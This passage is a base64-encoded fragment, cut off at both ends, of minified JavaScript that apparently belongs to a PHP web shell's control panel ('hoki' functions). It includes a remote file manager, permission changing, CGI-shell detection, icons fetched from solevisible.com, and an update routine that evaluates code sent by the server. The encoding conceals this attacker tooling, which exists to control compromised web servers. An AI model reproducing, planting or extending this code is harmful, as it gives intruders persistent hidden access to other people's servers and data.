TWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGhva2lGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbG
woIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWYoIi4uIj09KGE9IkEiPT1lLnRhcmdld
C5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0
QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmV
zcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weS
IsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxob2tpU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c
3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZp
ZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiw
iZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2
NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpL
HMub25jbGljaz1mdW5jdGlvbigpe2hva2lGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIr
YSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2R
vd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpLmlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cm
ltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO
2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgs
Xz1lLmNsaWVudFk7aG9raVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBob2tpRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9aG9raUdldExhc3RGb2xkZXJOYW1lKGU
pKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldE
F0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iaG9raUZpbGVzbWFuVGFiU2hvd1RpdGxlK
HRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250
cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2x
hc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2
xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiI
GZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGhva2lfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksaG9raV9mbV9pZD0wfWZ1bmN0
aW9uIGhva2lGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJ
weCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JC
giZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGhva2lQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3I
GZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6Iixp
PSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHR
oZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbi
I9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlc
m0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0
dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnl
TZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1
Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xd
WVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRh
YmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A
9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2
xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZ
mlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1l
bnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN
0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPW
FjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja
1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNl
bGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hMSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2V
kPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrIn
ddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9I
TApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUm
JihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXI
gPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydG
N1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIraG9raV9jdXJyZW50X2ZtX2lkO2hva2lsb2FkZXIobywiYmxvY2siKSxkY
XRhPSJhPSIraG9raWI2NChlKSsiJmM9Iitob2tpYjY0KHQpKyImaG9raTE9Iitob2tpYjY0KGEpKyImaG9raTI9Iitob2tpYjY0KGkpKyImaG9raTM9Iitob2tpYjY0KGwpKyImYWpheD0iK2hva2liNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRh
LHIsITEsbyl9ZnVuY3Rpb24gaG9raVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQ
iKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKC
ksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoI
nBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJh
bmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxob2tpU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSx
kLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgaG9raVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2hva2lsb2FkZXIoaSwibm9uZSIpfS
k7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZ
m9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4g
Zm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXtob2tpbG9hZGVyKHQsIm5vbmUiKSxob2t
pU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIi
kucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQ
WN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlu
bmVySFRNTD1jLGhva2lTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBob2tpU2hvd05vdGlmaWNhdGl
vbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTtob2tpbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBob2tpSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246Mz
AwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoLWlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlP
SQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJj
aChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWp
heChkLlVSTCwiYT0iK2hva2liNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QW
RqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJob2tpLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlya
WdodCksdC5oYXNPd25Qcm9wZXJ0eSgia2lzZXJ5b3VuaSIpJiYoJCgiaG9raV9raXNlcnlvdW5pIikuaW5uZXJIVE1MPXQua2lzZXJ5b3VuaSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9
dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5ob2tpX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25
Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNy
IpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VU
kwsImE9Iitob2tpYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25s
b2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWR
lcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJjaGVja2NnaS
IpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9Z
nVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmhv
a2lDaGVja1VybEhhc2goKX0saG9raUNoZWNrVXJsSGFzaCgpLGhva2lnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGhva2lJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW5
0TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sIT
EpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVna
W4iLGUub25sb2FkPWZ1bmN0aW9uKCl7aG9raUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxob2tpSW5pdFNvcmF0YWJs
